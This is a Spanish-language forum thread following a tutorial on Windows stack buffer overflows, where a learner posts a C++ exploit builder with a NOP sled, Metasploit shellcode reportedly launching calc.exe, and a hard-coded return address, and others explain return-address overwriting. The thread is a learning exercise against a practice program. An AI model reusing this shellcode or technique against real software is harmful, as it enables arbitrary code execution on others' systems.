[Manual] Buffer Overflow en Windows

Iniciado por ikary, 8 Febrero 2010, 19:11 PM

0 Miembros y 3 Visitantes están viendo este tema.

<< Lucas, ¿quién más? >>

No lo leí todo, pero hasta donde iba leyendo está excelente  :xD


Personalmente, prefiero tecnologías de Microsoft. Yo reconozco que defendí el software libre, pero ahora yo quiero vivir de esto. Mi trabajo.

soez

#11
Ikary te felicito por el tuto!!  :)
y bueno despues de hacer el tutorial en mi pc no me termina de salir :-/
Lo de que aparezca la funcion oculta si me sale, pero yo metiendole mi propio payload para calc.exe sacado de metasploit no me termina de salir, te pongo el codigo y alguna foto a ver si ves algo

#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
   char ret[] = "\x58\xFA\x22\x00";
   char nops[] =
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
               "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
               
   unsigned char shellcode[] =
               "\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x33\xbf\x0f\x5a\x74"
               "\xeb\x31\x7e\x17\x83\xc6\x04\x03\x71\x49\x96\x1e\x71\x85\xdf"
               "\xe1\x89\x56\x80\x68\x6c\x67\x92\x0f\xe5\xda\x22\x5b\xab\xd6"
               "\xc9\x09\x5f\x6c\xbf\x85\x50\xc5\x0a\xf0\x5f\xd6\xba\x3c\x33"
               "\x14\xdc\xc0\x49\x49\x3e\xf8\x82\x9c\x3f\x3d\xfe\x6f\x6d\x96"
               "\x75\xdd\x82\x93\xcb\xde\xa3\x73\x40\x5e\xdc\xf6\x96\x2b\x56"
               "\xf8\xc6\x84\xed\xb2\xfe\xaf\xaa\x62\xff\x7c\xa9\x5f\xb6\x09"
               "\x1a\x2b\x49\xd8\x52\xd4\x78\x24\x38\xeb\xb5\xa9\x40\x2b\x71"
               "\x52\x37\x47\x82\xef\x40\x9c\xf9\x2b\xc4\x01\x59\xbf\x7e\xe2"
               "\x58\x6c\x18\x61\x56\xd9\x6e\x2d\x7a\xdc\xa3\x45\x86\x55\x42"
               "\x8a\x0f\x2d\x61\x0e\x54\xf5\x08\x17\x30\x58\x34\x47\x9c\x05"
               "\x90\x03\x0e\x51\xa2\x49\x44\xa4\x26\xf4\x21\xa6\x38\xf7\x01"
               "\xcf\x09\x7c\xce\x88\x95\x57\xab\x69\x67\x6a\x21\xfd\xde\x1f"
               "\x08\x63\xe1\xf5\x4e\x9a\x62\xfc\x2e\x59\x7a\x75\x2b\x25\x3c"
               "\x65\x41\x36\xa9\x89\xf6\x37\xf8\xe9\x99\xab\x60\xc0\x3c\x4c"
               "\x02\x1c";


                 
   cout << "Creando exploit\n\n";
   ofstream fichero;
   fichero.open("archivo.txt");
   fichero << nops << shellcode << ret ;
   fichero.close();
   cout << "ya esta!!!";

   return 0;
}




El programa vulnerable es el mismo que el del tutorial, vamos que con 316 caracteres deberia llegar al EIP sin embargo...



PD. El ret es la direccion de memoria donde empieza el shell code no? Digamos que hace como un pequeño loop para ejecutarse? Saludos y gracias

PD2. 89 nops y 227 tamaño del shell code
01001010 01100001 01110110 01101001 01100101 01110010

AlbertoBSD

Muchas veces las cosas cambian de un sistema a otro tanto el SP y otras cosas pueden hacer que el programa varie, también la versión del compilador y demas cosas.

Si se a leido todo el texto, solo necesitaras depurar un poco para que las cosas que estan saliendo mal se resuelvan.

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

soez

#13
Lo sé de hecho con la funcion oculta la direccion de memoria a la que apuntaba era otra y fue la que puse y asi me salió, no lo he calcado y bueno siguiendo el tutorial si no he entendido mal habia que coger la direccion de la pila donde empieza el payload y asi lo he hecho como muestro en la imagen. La duda que tengo aparte de si se ve algun error en lo que hice, es que hay que meter el codigo de la accion que queremos lograr (payload si mal no entiendo) dentro del todo el shell code y por ultimo ponerle la direccion EIP=(ret) en el tuto de nuevo el trozo donde empieza el payload dentro del shell code con lo que queremos lograr cierto? Quiero decir que si el shell code esta compuesto de nops+payload+ret cuando ejecutamos el exploit se ejecutan los 3 y la direccion ret tiene que apuntar de nuevo al payload dentro del shell code no? Saludos

PD. Aclararme si estoy equivocado en los conceptos  :P
01001010 01100001 01110110 01101001 01100101 01110010

AlbertoBSD

Así es la dirección que tu pones en en tu código como RET debe de sobrescribir el ret de la función, para que cuando retorne a la función que lo llamo, retorne en su lugar a tu dirección de RET asi siempre y cuando la dirección que le pasaste apunte a uno de los nops o al primer byte del payload se ejecutara, aqui cabe mencionar que hay veces que no es necesario usar nops, es solo para tener mas pista de aterrizaje xD

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

soez

Aun no me queda muy claro el retorno, el retorno es justo la direccion a la que apunta en cuanto se produce el overflow no?la que ponemos nosostros no? la direccion de retorno del programa normal de que sirviria? Saludos
01001010 01100001 01110110 01101001 01100101 01110010

AlbertoBSD

No sirve de nada, por eso se sobrescribe xD


Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

soez

Vale xD muchas gracias Anon por las dudas ya me voy empapando :) a ver si le pego un segundo asalto y me termina de salir lo de la calculadora. Saludos!!
01001010 01100001 01110110 01101001 01100101 01110010

micky123


AlbertoBSD

ikary ahora que lo recuerdo, pudistes explotar el vulnerable mediante la linea de comando (los argumentos) ??'

Saludos
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW